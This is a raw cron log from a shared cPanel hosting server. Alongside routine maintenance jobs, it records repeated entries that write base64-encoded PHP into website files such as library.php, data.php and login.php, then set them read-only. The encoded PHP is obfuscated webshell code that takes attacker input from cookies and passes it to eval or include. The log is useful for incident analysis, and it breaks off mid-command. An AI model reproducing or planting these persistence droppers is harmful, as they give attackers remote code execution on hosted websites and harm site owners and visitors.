Apr 19 09:35:01 medusa CROND[5599]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 09:35:01 medusa CROND[5600]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 09:35:01 medusa CROND[5609]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:35:01 medusa CROND[5613]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:35:01 medusa CROND[5615]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:35:01 medusa CROND[5619]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:35:01 medusa CROND[5623]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 19 09:35:01 medusa CROND[5630]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:35:02 medusa CROND[5616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:35:02 medusa CROND[5626]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 19 09:36:01 medusa CROND[29685]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 09:36:01 medusa CROND[29686]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:36:01 medusa CROND[29688]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:36:01 medusa CROND[29689]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:36:01 medusa CROND[29690]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 09:36:01 medusa CROND[29691]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:36:01 medusa CROND[29695]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:36:01 medusa CROND[29696]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:36:01 medusa CROND[29694]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:36:01 medusa CROND[29702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:36:01 medusa CROND[29704]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 09:36:01 medusa CROND[29705]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:36:01 medusa CROND[29708]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:36:01 medusa CROND[29707]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:37:01 medusa CROND[21885]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:37:01 medusa CROND[21911]: (root) CMD (/nutscripts/cleanqueue.sh > /dev/null 2>&1)
Apr 19 09:37:01 medusa CROND[22024]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:37:01 medusa CROND[22025]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 09:37:01 medusa CROND[22026]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:37:01 medusa CROND[22027]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:37:01 medusa CROND[22029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:37:01 medusa CROND[22031]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:37:01 medusa CROND[22033]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:37:01 medusa CROND[22037]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 